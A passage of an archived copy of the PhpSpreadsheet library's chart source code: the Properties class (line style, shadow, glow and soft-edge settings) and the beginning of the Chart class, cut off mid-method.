[]; foreach ($trendLines as $trendLine) { $this->trendLines[] = clone $trendLine; } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Properties.php000064400000071346151676714400021170 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; /** * Created by PhpStorm. * User: nhw2h8s * Date: 7/2/14 * Time: 5:45 PM. */ abstract class Properties { const AXIS_LABELS_LOW = 'low'; const AXIS_LABELS_HIGH = 'high'; const AXIS_LABELS_NEXT_TO = 'nextTo'; const AXIS_LABELS_NONE = 'none'; const TICK_MARK_NONE = 'none'; const TICK_MARK_INSIDE = 'in'; const TICK_MARK_OUTSIDE = 'out'; const TICK_MARK_CROSS = 'cross'; const HORIZONTAL_CROSSES_AUTOZERO = 'autoZero'; const HORIZONTAL_CROSSES_MAXIMUM = 'max'; const FORMAT_CODE_GENERAL = 'General'; const FORMAT_CODE_NUMBER = '#,##0.00'; const FORMAT_CODE_CURRENCY = '$#,##0.00'; const FORMAT_CODE_ACCOUNTING = '_($* #,##0.00_);_($* (#,##0.00);_($* "-"??_);_(@_)'; const FORMAT_CODE_DATE = 'm/d/yyyy'; const FORMAT_CODE_DATE_ISO8601 = 'yyyy-mm-dd'; const FORMAT_CODE_TIME = '[$-F400]h:mm:ss AM/PM'; const FORMAT_CODE_PERCENTAGE = '0.00%'; const FORMAT_CODE_FRACTION = '# ?/?'; const FORMAT_CODE_SCIENTIFIC = '0.00E+00'; const FORMAT_CODE_TEXT = '@'; const FORMAT_CODE_SPECIAL = '00000'; const ORIENTATION_NORMAL = 'minMax'; const ORIENTATION_REVERSED = 'maxMin'; const LINE_STYLE_COMPOUND_SIMPLE = 'sng'; const LINE_STYLE_COMPOUND_DOUBLE = 'dbl'; const LINE_STYLE_COMPOUND_THICKTHIN = 'thickThin'; const LINE_STYLE_COMPOUND_THINTHICK = 'thinThick'; const LINE_STYLE_COMPOUND_TRIPLE = 'tri'; const LINE_STYLE_DASH_SOLID = 'solid'; const LINE_STYLE_DASH_ROUND_DOT = 'sysDot'; const LINE_STYLE_DASH_SQUARE_DOT = 'sysDash'; const LINE_STYPE_DASH_DASH = 'dash'; const LINE_STYLE_DASH_DASH_DOT = 'dashDot'; const LINE_STYLE_DASH_LONG_DASH = 'lgDash'; const LINE_STYLE_DASH_LONG_DASH_DOT = 'lgDashDot'; const LINE_STYLE_DASH_LONG_DASH_DOT_DOT = 'lgDashDotDot'; const LINE_STYLE_CAP_SQUARE = 'sq'; const LINE_STYLE_CAP_ROUND = 'rnd'; const LINE_STYLE_CAP_FLAT = 'flat'; const LINE_STYLE_JOIN_ROUND = 'round'; const LINE_STYLE_JOIN_MITER = 'miter'; const LINE_STYLE_JOIN_BEVEL = 'bevel'; const LINE_STYLE_ARROW_TYPE_NOARROW = null; const LINE_STYLE_ARROW_TYPE_ARROW = 'triangle'; const LINE_STYLE_ARROW_TYPE_OPEN = 'arrow'; const LINE_STYLE_ARROW_TYPE_STEALTH = 'stealth'; const LINE_STYLE_ARROW_TYPE_DIAMOND = 'diamond'; const LINE_STYLE_ARROW_TYPE_OVAL = 'oval'; const LINE_STYLE_ARROW_SIZE_1 = 1; const LINE_STYLE_ARROW_SIZE_2 = 2; const LINE_STYLE_ARROW_SIZE_3 = 3; const LINE_STYLE_ARROW_SIZE_4 = 4; const LINE_STYLE_ARROW_SIZE_5 = 5; const LINE_STYLE_ARROW_SIZE_6 = 6; const LINE_STYLE_ARROW_SIZE_7 = 7; const LINE_STYLE_ARROW_SIZE_8 = 8; const LINE_STYLE_ARROW_SIZE_9 = 9; const SHADOW_PRESETS_NOSHADOW = null; const SHADOW_PRESETS_OUTER_BOTTTOM_RIGHT = 1; const SHADOW_PRESETS_OUTER_BOTTOM = 2; const SHADOW_PRESETS_OUTER_BOTTOM_LEFT = 3; const SHADOW_PRESETS_OUTER_RIGHT = 4; const SHADOW_PRESETS_OUTER_CENTER = 5; const SHADOW_PRESETS_OUTER_LEFT = 6; const SHADOW_PRESETS_OUTER_TOP_RIGHT = 7; const SHADOW_PRESETS_OUTER_TOP = 8; const SHADOW_PRESETS_OUTER_TOP_LEFT = 9; const SHADOW_PRESETS_INNER_BOTTTOM_RIGHT = 10; const SHADOW_PRESETS_INNER_BOTTOM = 11; const SHADOW_PRESETS_INNER_BOTTOM_LEFT = 12; const SHADOW_PRESETS_INNER_RIGHT = 13; const SHADOW_PRESETS_INNER_CENTER = 14; const SHADOW_PRESETS_INNER_LEFT = 15; const SHADOW_PRESETS_INNER_TOP_RIGHT = 16; const SHADOW_PRESETS_INNER_TOP = 17; const SHADOW_PRESETS_INNER_TOP_LEFT = 18; const SHADOW_PRESETS_PERSPECTIVE_BELOW = 19; const SHADOW_PRESETS_PERSPECTIVE_UPPER_RIGHT = 20; const SHADOW_PRESETS_PERSPECTIVE_UPPER_LEFT = 21; const SHADOW_PRESETS_PERSPECTIVE_LOWER_RIGHT = 22; const SHADOW_PRESETS_PERSPECTIVE_LOWER_LEFT = 23; const POINTS_WIDTH_MULTIPLIER = 12700; const ANGLE_MULTIPLIER = 60000; // direction and size-kx size-ky const PERCENTAGE_MULTIPLIER = 100000; // size sx and sy protected bool $objectState = false; // used only for minor gridlines /** @var ?float */ protected ?float $glowSize = null; protected ChartColor $glowColor; protected array $softEdges = [ 'size' => null, ]; protected array $shadowProperties = self::PRESETS_OPTIONS[0]; protected ChartColor $shadowColor; public function __construct() { $this->lineColor = new ChartColor(); $this->glowColor = new ChartColor(); $this->shadowColor = new ChartColor(); $this->shadowColor->setType(ChartColor::EXCEL_COLOR_TYPE_STANDARD); $this->shadowColor->setValue('black'); $this->shadowColor->setAlpha(40); } /** * Get Object State. */ public function getObjectState(): bool { return $this->objectState; } /** * Change Object State to True. * * @return $this */ public function activateObject() { $this->objectState = true; return $this; } public static function pointsToXml(float $width): string { return (string) (int) ($width * self::POINTS_WIDTH_MULTIPLIER); } public static function xmlToPoints(string $width): float { return ((float) $width) / self::POINTS_WIDTH_MULTIPLIER; } public static function angleToXml(float $angle): string { return (string) (int) ($angle * self::ANGLE_MULTIPLIER); } public static function xmlToAngle(string $angle): float { return ((float) $angle) / self::ANGLE_MULTIPLIER; } public static function tenthOfPercentToXml(float $value): string { return (string) (int) ($value * self::PERCENTAGE_MULTIPLIER); } public static function xmlToTenthOfPercent(string $value): float { return ((float) $value) / self::PERCENTAGE_MULTIPLIER; } protected function setColorProperties(?string $color, null|float|int|string $alpha, ?string $colorType): array { return [ 'type' => $colorType, 'value' => $color, 'alpha' => ($alpha === null) ? null : (int) $alpha, ]; } protected const PRESETS_OPTIONS = [ //NONE 0 => [ 'presets' => self::SHADOW_PRESETS_NOSHADOW, 'effect' => null, //'color' => [ // 'type' => ChartColor::EXCEL_COLOR_TYPE_STANDARD, // 'value' => 'black', // 'alpha' => 40, //], 'size' => [ 'sx' => null, 'sy' => null, 'kx' => null, 'ky' => null, ], 'blur' => null, 'direction' => null, 'distance' => null, 'algn' => null, 'rotWithShape' => null, ], //OUTER 1 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 2700000 / self::ANGLE_MULTIPLIER, 'algn' => 'tl', 'rotWithShape' => '0', ], 2 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 5400000 / self::ANGLE_MULTIPLIER, 'algn' => 't', 'rotWithShape' => '0', ], 3 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 8100000 / self::ANGLE_MULTIPLIER, 'algn' => 'tr', 'rotWithShape' => '0', ], 4 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'algn' => 'l', 'rotWithShape' => '0', ], 5 => [ 'effect' => 'outerShdw', 'size' => [ 'sx' => 102000 / self::PERCENTAGE_MULTIPLIER, 'sy' => 102000 / self::PERCENTAGE_MULTIPLIER, ], 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'algn' => 'ctr', 'rotWithShape' => '0', ], 6 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 10800000 / self::ANGLE_MULTIPLIER, 'algn' => 'r', 'rotWithShape' => '0', ], 7 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 18900000 / self::ANGLE_MULTIPLIER, 'algn' => 'bl', 'rotWithShape' => '0', ], 8 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 16200000 / self::ANGLE_MULTIPLIER, 'rotWithShape' => '0', ], 9 => [ 'effect' => 'outerShdw', 'blur' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 38100 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 13500000 / self::ANGLE_MULTIPLIER, 'algn' => 'br', 'rotWithShape' => '0', ], //INNER 10 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 2700000 / self::ANGLE_MULTIPLIER, ], 11 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 5400000 / self::ANGLE_MULTIPLIER, ], 12 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 8100000 / self::ANGLE_MULTIPLIER, ], 13 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, ], 14 => [ 'effect' => 'innerShdw', 'blur' => 114300 / self::POINTS_WIDTH_MULTIPLIER, ], 15 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 10800000 / self::ANGLE_MULTIPLIER, ], 16 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 18900000 / self::ANGLE_MULTIPLIER, ], 17 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 16200000 / self::ANGLE_MULTIPLIER, ], 18 => [ 'effect' => 'innerShdw', 'blur' => 63500 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 50800 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 13500000 / self::ANGLE_MULTIPLIER, ], //perspective 19 => [ 'effect' => 'outerShdw', 'blur' => 152400 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 317500 / self::POINTS_WIDTH_MULTIPLIER, 'size' => [ 'sx' => 90000 / self::PERCENTAGE_MULTIPLIER, 'sy' => -19000 / self::PERCENTAGE_MULTIPLIER, ], 'direction' => 5400000 / self::ANGLE_MULTIPLIER, 'rotWithShape' => '0', ], 20 => [ 'effect' => 'outerShdw', 'blur' => 76200 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 18900000 / self::ANGLE_MULTIPLIER, 'size' => [ 'sy' => 23000 / self::PERCENTAGE_MULTIPLIER, 'kx' => -1200000 / self::ANGLE_MULTIPLIER, ], 'algn' => 'bl', 'rotWithShape' => '0', ], 21 => [ 'effect' => 'outerShdw', 'blur' => 76200 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 13500000 / self::ANGLE_MULTIPLIER, 'size' => [ 'sy' => 23000 / self::PERCENTAGE_MULTIPLIER, 'kx' => 1200000 / self::ANGLE_MULTIPLIER, ], 'algn' => 'br', 'rotWithShape' => '0', ], 22 => [ 'effect' => 'outerShdw', 'blur' => 76200 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 12700 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 2700000 / self::ANGLE_MULTIPLIER, 'size' => [ 'sy' => -23000 / self::PERCENTAGE_MULTIPLIER, 'kx' => -800400 / self::ANGLE_MULTIPLIER, ], 'algn' => 'bl', 'rotWithShape' => '0', ], 23 => [ 'effect' => 'outerShdw', 'blur' => 76200 / self::POINTS_WIDTH_MULTIPLIER, 'distance' => 12700 / self::POINTS_WIDTH_MULTIPLIER, 'direction' => 8100000 / self::ANGLE_MULTIPLIER, 'size' => [ 'sy' => -23000 / self::PERCENTAGE_MULTIPLIER, 'kx' => 800400 / self::ANGLE_MULTIPLIER, ], 'algn' => 'br', 'rotWithShape' => '0', ], ]; protected function getShadowPresetsMap(int $presetsOption): array { return self::PRESETS_OPTIONS[$presetsOption] ?? self::PRESETS_OPTIONS[0]; } /** * Get value of array element. */ protected function getArrayElementsValue(array $properties, array|int|string $elements): mixed { $reference = &$properties; if (!is_array($elements)) { return $reference[$elements]; } foreach ($elements as $keys) { $reference = &$reference[$keys]; } return $reference; } /** * Set Glow Properties. */ public function setGlowProperties(float $size, ?string $colorValue = null, ?int $colorAlpha = null, ?string $colorType = null): void { $this ->activateObject() ->setGlowSize($size); $this->glowColor->setColorPropertiesArray( [ 'value' => $colorValue, 'type' => $colorType, 'alpha' => $colorAlpha, ] ); } /** * Get Glow Property. */ public function getGlowProperty(array|string $property): null|array|float|int|string { $retVal = null; if ($property === 'size') { $retVal = $this->glowSize; } elseif ($property === 'color') { $retVal = [ 'value' => $this->glowColor->getColorProperty('value'), 'type' => $this->glowColor->getColorProperty('type'), 'alpha' => $this->glowColor->getColorProperty('alpha'), ]; } elseif (is_array($property) && count($property) >= 2 && $property[0] === 'color') { $retVal = $this->glowColor->getColorProperty($property[1]); } return $retVal; } /** * Get Glow Color Property. */ public function getGlowColor(string $propertyName): null|int|string { return $this->glowColor->getColorProperty($propertyName); } public function getGlowColorObject(): ChartColor { return $this->glowColor; } /** * Get Glow Size. */ public function getGlowSize(): ?float { return $this->glowSize; } /** * Set Glow Size. * * @return $this */ protected function setGlowSize(?float $size) { $this->glowSize = $size; return $this; } /** * Set Soft Edges Size. */ public function setSoftEdges(?float $size): void { if ($size !== null) { $this->activateObject(); $this->softEdges['size'] = $size; } } /** * Get Soft Edges Size. */ public function getSoftEdgesSize(): ?float { return $this->softEdges['size']; } public function setShadowProperty(string $propertyName, mixed $value): self { $this->activateObject(); if ($propertyName === 'color' && is_array($value)) { $this->shadowColor->setColorPropertiesArray($value); } else { $this->shadowProperties[$propertyName] = $value; } return $this; } /** * Set Shadow Properties. */ public function setShadowProperties(int $presets, ?string $colorValue = null, ?string $colorType = null, null|float|int|string $colorAlpha = null, ?float $blur = null, ?int $angle = null, ?float $distance = null): void { $this->activateObject()->setShadowPresetsProperties((int) $presets); if ($presets === 0) { $this->shadowColor->setType(ChartColor::EXCEL_COLOR_TYPE_STANDARD); $this->shadowColor->setValue('black'); $this->shadowColor->setAlpha(40); } if ($colorValue !== null) { $this->shadowColor->setValue($colorValue); } if ($colorType !== null) { $this->shadowColor->setType($colorType); } if (is_numeric($colorAlpha)) { $this->shadowColor->setAlpha((int) $colorAlpha); } $this ->setShadowBlur($blur) ->setShadowAngle($angle) ->setShadowDistance($distance); } /** * Set Shadow Presets Properties. * * @return $this */ protected function setShadowPresetsProperties(int $presets) { $this->shadowProperties['presets'] = $presets; $this->setShadowPropertiesMapValues($this->getShadowPresetsMap($presets)); return $this; } protected const SHADOW_ARRAY_KEYS = ['size', 'color']; /** * Set Shadow Properties Values. * * @return $this */ protected function setShadowPropertiesMapValues(array $propertiesMap, ?array &$reference = null) { $base_reference = $reference; foreach ($propertiesMap as $property_key => $property_val) { if (is_array($property_val)) { if (in_array($property_key, self::SHADOW_ARRAY_KEYS, true)) { $reference = &$this->shadowProperties[$property_key]; $this->setShadowPropertiesMapValues($property_val, $reference); } } else { if ($base_reference === null) { $this->shadowProperties[$property_key] = $property_val; } else { $reference[$property_key] = $property_val; } } } return $this; } /** * Set Shadow Blur. * * @return $this */ protected function setShadowBlur(?float $blur) { if ($blur !== null) { $this->shadowProperties['blur'] = $blur; } return $this; } /** * Set Shadow Angle. * * @return $this */ protected function setShadowAngle(null|float|int|string $angle) { if (is_numeric($angle)) { $this->shadowProperties['direction'] = $angle; } return $this; } /** * Set Shadow Distance. * * @return $this */ protected function setShadowDistance(?float $distance) { if ($distance !== null) { $this->shadowProperties['distance'] = $distance; } return $this; } public function getShadowColorObject(): ChartColor { return $this->shadowColor; } /** * Get Shadow Property. * * @param string|string[] $elements */ public function getShadowProperty($elements): array|string|null { if ($elements === 'color') { return [ 'value' => $this->shadowColor->getValue(), 'type' => $this->shadowColor->getType(), 'alpha' => $this->shadowColor->getAlpha(), ]; } return $this->getArrayElementsValue($this->shadowProperties, $elements); } public function getShadowArray(): array { $array = $this->shadowProperties; if ($this->getShadowColorObject()->isUsable()) { $array['color'] = $this->getShadowProperty('color'); } return $array; } protected ChartColor $lineColor; protected array $lineStyleProperties = [ 'width' => null, //'9525', 'compound' => '', //self::LINE_STYLE_COMPOUND_SIMPLE, 'dash' => '', //self::LINE_STYLE_DASH_SOLID, 'cap' => '', //self::LINE_STYLE_CAP_FLAT, 'join' => '', //self::LINE_STYLE_JOIN_BEVEL, 'arrow' => [ 'head' => [ 'type' => '', //self::LINE_STYLE_ARROW_TYPE_NOARROW, 'size' => '', //self::LINE_STYLE_ARROW_SIZE_5, 'w' => '', 'len' => '', ], 'end' => [ 'type' => '', //self::LINE_STYLE_ARROW_TYPE_NOARROW, 'size' => '', //self::LINE_STYLE_ARROW_SIZE_8, 'w' => '', 'len' => '', ], ], ]; public function copyLineStyles(self $otherProperties): void { $this->lineStyleProperties = $otherProperties->lineStyleProperties; $this->lineColor = $otherProperties->lineColor; $this->glowSize = $otherProperties->glowSize; $this->glowColor = $otherProperties->glowColor; $this->softEdges = $otherProperties->softEdges; $this->shadowProperties = $otherProperties->shadowProperties; } public function getLineColor(): ChartColor { return $this->lineColor; } /** * Set Line Color Properties. */ public function setLineColorProperties(?string $value, ?int $alpha = null, ?string $colorType = null): void { $this->activateObject(); $this->lineColor->setColorPropertiesArray( $this->setColorProperties( $value, $alpha, $colorType ) ); } /** * Get Line Color Property. */ public function getLineColorProperty(string $propertyName): null|int|string { return $this->lineColor->getColorProperty($propertyName); } /** * Set Line Style Properties. */ public function setLineStyleProperties( null|float|int|string $lineWidth = null, ?string $compoundType = '', ?string $dashType = '', ?string $capType = '', ?string $joinType = '', ?string $headArrowType = '', int $headArrowSize = 0, ?string $endArrowType = '', int $endArrowSize = 0, ?string $headArrowWidth = '', ?string $headArrowLength = '', ?string $endArrowWidth = '', ?string $endArrowLength = '' ): void { $this->activateObject(); if (is_numeric($lineWidth)) { $this->lineStyleProperties['width'] = $lineWidth; } if ($compoundType !== '') { $this->lineStyleProperties['compound'] = $compoundType; } if ($dashType !== '') { $this->lineStyleProperties['dash'] = $dashType; } if ($capType !== '') { $this->lineStyleProperties['cap'] = $capType; } if ($joinType !== '') { $this->lineStyleProperties['join'] = $joinType; } if ($headArrowType !== '') { $this->lineStyleProperties['arrow']['head']['type'] = $headArrowType; } if (isset(self::ARROW_SIZES[$headArrowSize])) { $this->lineStyleProperties['arrow']['head']['size'] = $headArrowSize; $this->lineStyleProperties['arrow']['head']['w'] = self::ARROW_SIZES[$headArrowSize]['w']; $this->lineStyleProperties['arrow']['head']['len'] = self::ARROW_SIZES[$headArrowSize]['len']; } if ($endArrowType !== '') { $this->lineStyleProperties['arrow']['end']['type'] = $endArrowType; } if (isset(self::ARROW_SIZES[$endArrowSize])) { $this->lineStyleProperties['arrow']['end']['size'] = $endArrowSize; $this->lineStyleProperties['arrow']['end']['w'] = self::ARROW_SIZES[$endArrowSize]['w']; $this->lineStyleProperties['arrow']['end']['len'] = self::ARROW_SIZES[$endArrowSize]['len']; } if ($headArrowWidth !== '') { $this->lineStyleProperties['arrow']['head']['w'] = $headArrowWidth; } if ($headArrowLength !== '') { $this->lineStyleProperties['arrow']['head']['len'] = $headArrowLength; } if ($endArrowWidth !== '') { $this->lineStyleProperties['arrow']['end']['w'] = $endArrowWidth; } if ($endArrowLength !== '') { $this->lineStyleProperties['arrow']['end']['len'] = $endArrowLength; } } public function getLineStyleArray(): array { return $this->lineStyleProperties; } public function setLineStyleArray(array $lineStyleProperties = []): self { $this->activateObject(); $this->lineStyleProperties['width'] = $lineStyleProperties['width'] ?? null; $this->lineStyleProperties['compound'] = $lineStyleProperties['compound'] ?? ''; $this->lineStyleProperties['dash'] = $lineStyleProperties['dash'] ?? ''; $this->lineStyleProperties['cap'] = $lineStyleProperties['cap'] ?? ''; $this->lineStyleProperties['join'] = $lineStyleProperties['join'] ?? ''; $this->lineStyleProperties['arrow']['head']['type'] = $lineStyleProperties['arrow']['head']['type'] ?? ''; $this->lineStyleProperties['arrow']['head']['size'] = $lineStyleProperties['arrow']['head']['size'] ?? ''; $this->lineStyleProperties['arrow']['head']['w'] = $lineStyleProperties['arrow']['head']['w'] ?? ''; $this->lineStyleProperties['arrow']['head']['len'] = $lineStyleProperties['arrow']['head']['len'] ?? ''; $this->lineStyleProperties['arrow']['end']['type'] = $lineStyleProperties['arrow']['end']['type'] ?? ''; $this->lineStyleProperties['arrow']['end']['size'] = $lineStyleProperties['arrow']['end']['size'] ?? ''; $this->lineStyleProperties['arrow']['end']['w'] = $lineStyleProperties['arrow']['end']['w'] ?? ''; $this->lineStyleProperties['arrow']['end']['len'] = $lineStyleProperties['arrow']['end']['len'] ?? ''; return $this; } public function setLineStyleProperty(string $propertyName, mixed $value): self { $this->activateObject(); $this->lineStyleProperties[$propertyName] = $value; return $this; } /** * Get Line Style Property. */ public function getLineStyleProperty(array|string $elements): ?string { return $this->getArrayElementsValue($this->lineStyleProperties, $elements); } protected const ARROW_SIZES = [ 1 => ['w' => 'sm', 'len' => 'sm'], 2 => ['w' => 'sm', 'len' => 'med'], 3 => ['w' => 'sm', 'len' => 'lg'], 4 => ['w' => 'med', 'len' => 'sm'], 5 => ['w' => 'med', 'len' => 'med'], 6 => ['w' => 'med', 'len' => 'lg'], 7 => ['w' => 'lg', 'len' => 'sm'], 8 => ['w' => 'lg', 'len' => 'med'], 9 => ['w' => 'lg', 'len' => 'lg'], ]; /** * Get Line Style Arrow Size. */ protected function getLineStyleArrowSize(int $arraySelector, string $arrayKaySelector): string { return self::ARROW_SIZES[$arraySelector][$arrayKaySelector] ?? ''; } /** * Get Line Style Arrow Parameters. */ public function getLineStyleArrowParameters(string $arrowSelector, string $propertySelector): string { return $this->getLineStyleArrowSize($this->lineStyleProperties['arrow'][$arrowSelector]['size'], $propertySelector); } /** * Get Line Style Arrow Width. */ public function getLineStyleArrowWidth(string $arrow): ?string { return $this->getLineStyleProperty(['arrow', $arrow, 'w']); } /** * Get Line Style Arrow Excel Length. */ public function getLineStyleArrowLength(string $arrow): ?string { return $this->getLineStyleProperty(['arrow', $arrow, 'len']); } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { $this->lineColor = clone $this->lineColor; $this->glowColor = clone $this->glowColor; $this->shadowColor = clone $this->shadowColor; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Chart/Chart.php000064400000037774151676714400020104 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Chart; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Chart { /** * Chart Name. */ private string $name; /** * Worksheet. */ private ?Worksheet $worksheet = null; /** * Chart Title. */ private ?Title $title; /** * Chart Legend. */ private ?Legend $legend; /** * X-Axis Label. */ private ?Title $xAxisLabel; /** * Y-Axis Label. */ private ?Title $yAxisLabel; /** * Chart Plot Area. */ private ?PlotArea $plotArea; /** * Plot Visible Only. */ private bool $plotVisibleOnly; /** * Display Blanks as. */ private string $displayBlanksAs; /** * Chart Asix Y as. */ private Axis $yAxis; /** * Chart Asix X as. */ private Axis $xAxis; /** * Top-Left Cell Position. */ private string $topLeftCellRef = 'A1'; /** * Top-Left X-Offset. */ private int $topLeftXOffset = 0; /** * Top-Left Y-Offset. */ private int $topLeftYOffset = 0; /** * Bottom-Right Cell Position. */ private string $bottomRightCellRef = ''; /** * Bottom-Right X-Offset. */ private int $bottomRightXOffset = 10; /** * Bottom-Right Y-Offset. */ private int $bottomRightYOffset = 10; private ?int $rotX = null; private ?int $rotY = null; private ?int $rAngAx = null; private ?int $perspective = null; private bool $oneCellAnchor = false; private bool $autoTitleDeleted = false; private bool $noFill = false; private bool $roundedCorners = false; private GridLines $borderLines; private ChartColor $fillColor; /** * Rendered width in pixels. */ private ?float $renderedWidth = null; /** * Rendered height in pixels. */ private ?float $renderedHeight = null; /** * Create a new Chart. * majorGridlines and minorGridlines are deprecated, moved to Axis. */ public function __construct(string $name, ?Title $title = null, ?Legend $legend = null, ?PlotArea $plotArea = null, bool $plotVisibleOnly = true, string $displayBlanksAs = DataSeries::EMPTY_AS_GAP, ?Title $xAxisLabel = null, ?Title $yAxisLabel = null, ?Axis $xAxis = null, ?Axis $yAxis = null, ?GridLines $majorGridlines = null, ?GridLines $minorGridlines = null) { $this->name = $name; $this->title = $title; $this->legend = $legend; $this->xAxisLabel = $xAxisLabel; $this->yAxisLabel = $yAxisLabel; $this->plotArea = $plotArea; $this->plotVisibleOnly = $plotVisibleOnly; $this->displayBlanksAs = $displayBlanksAs; $this->xAxis = $xAxis ?? new Axis(); $this->yAxis = $yAxis ?? new Axis(); if ($majorGridlines !== null) { $this->yAxis->setMajorGridlines($majorGridlines); } if ($minorGridlines !== null) { $this->yAxis->setMinorGridlines($minorGridlines); } $this->fillColor = new ChartColor(); $this->borderLines = new GridLines(); } public function __destruct() { $this->worksheet = null; } /** * Get Name. */ public function getName(): string { return $this->name; } public function setName(string $name): self { $this->name = $name; return $this; } /** * Get Worksheet. */ public function getWorksheet(): ?Worksheet { return $this->worksheet; } /** * Set Worksheet. * * @return $this */ public function setWorksheet(?Worksheet $worksheet = null): static { $this->worksheet = $worksheet; return $this; } public function getTitle(): ?Title { return $this->title; } /** * Set Title. * * @return $this */ public function setTitle(Title $title): static { $this->title = $title; return $this; } public function getLegend(): ?Legend { return $this->legend; } /** * Set Legend. * * @return $this */ public function setLegend(Legend $legend): static { $this->legend = $legend; return $this; } public function getXAxisLabel(): ?Title { return $this->xAxisLabel; } /** * Set X-Axis Label. * * @return $this */ public function setXAxisLabel(Title $label): static { $this->xAxisLabel = $label; return $this; } public function getYAxisLabel(): ?Title { return $this->yAxisLabel; } /** * Set Y-Axis Label. * * @return $this */ public function setYAxisLabel(Title $label): static { $this->yAxisLabel = $label; return $this; } public function getPlotArea(): ?PlotArea { return $this->plotArea; } public function getPlotAreaOrThrow(): PlotArea { $plotArea = $this->getPlotArea(); if ($plotArea !== null) { return $plotArea; } throw new Exception('Chart has no PlotArea'); } /** * Set Plot Area. */ public function setPlotArea(PlotArea $plotArea): self { $this->plotArea = $plotArea; return $this; } /** * Get Plot Visible Only. */ public function getPlotVisibleOnly(): bool { return $this->plotVisibleOnly; } /** * Set Plot Visible Only. * * @return $this */ public function setPlotVisibleOnly(bool $plotVisibleOnly): static { $this->plotVisibleOnly = $plotVisibleOnly; return $this; } /** * Get Display Blanks as. */ public function getDisplayBlanksAs(): string { return $this->displayBlanksAs; } /** * Set Display Blanks as. * * @return $this */ public function setDisplayBlanksAs(string $displayBlanksAs): static { $this->displayBlanksAs = $displayBlanksAs; return $this; } public function getChartAxisY(): Axis { return $this->yAxis; } /** * Set yAxis. */ public function setChartAxisY(?Axis $axis): self { $this->yAxis = $axis ?? new Axis(); return $this; } public function getChartAxisX(): Axis { return $this->xAxis; } /** * Set xAxis. */ public function setChartAxisX(?Axis $axis): self { $this->xAxis = $axis ?? new Axis(); return $this; } /** * Set the Top Left position for the chart. * * @return $this */ public function setTopLeftPosition(string $cellAddress, ?int $xOffset = null, ?int $yOffset = null): static { $this->topLeftCellRef = $cellAddress; if ($xOffset !== null) { $this->setTopLeftXOffset($xOffset); } if ($yOffset !== null) { $this->setTopLeftYOffset($yOffset); } return $this; } /** * Get the top left position of the chart. * * Returns ['cell' => string cell address, 'xOffset' => int, 'yOffset' => int]. * * @return array{cell: string, xOffset: int, yOffset: int} an associative array containing the cell address, X-Offset and Y-Offset from the top left of that cell */ public function getTopLeftPosition(): array { return [ 'cell' => $this->topLeftCellRef, 'xOffset' => $this->topLeftXOffset, 'yOffset' => $this->topLeftYOffset, ]; } /** * Get the cell address where the top left of the chart is fixed. */ public function getTopLeftCell(): string { return $this->topLeftCellRef; } /** * Set the Top Left cell position for the chart. * * @return $this */ public function setTopLeftCell(string $cellAddress): static { $this->topLeftCellRef = $cellAddress; return $this; } /** * Set the offset position within the Top Left cell for the chart. * * @return $this */ public function setTopLeftOffset(?int $xOffset, ?int $yOffset): static { if ($xOffset !== null) { $this->setTopLeftXOffset($xOffset); } if ($yOffset !== null) { $this->setTopLeftYOffset($yOffset); } return $this; } /** * Get the offset position within the Top Left cell for the 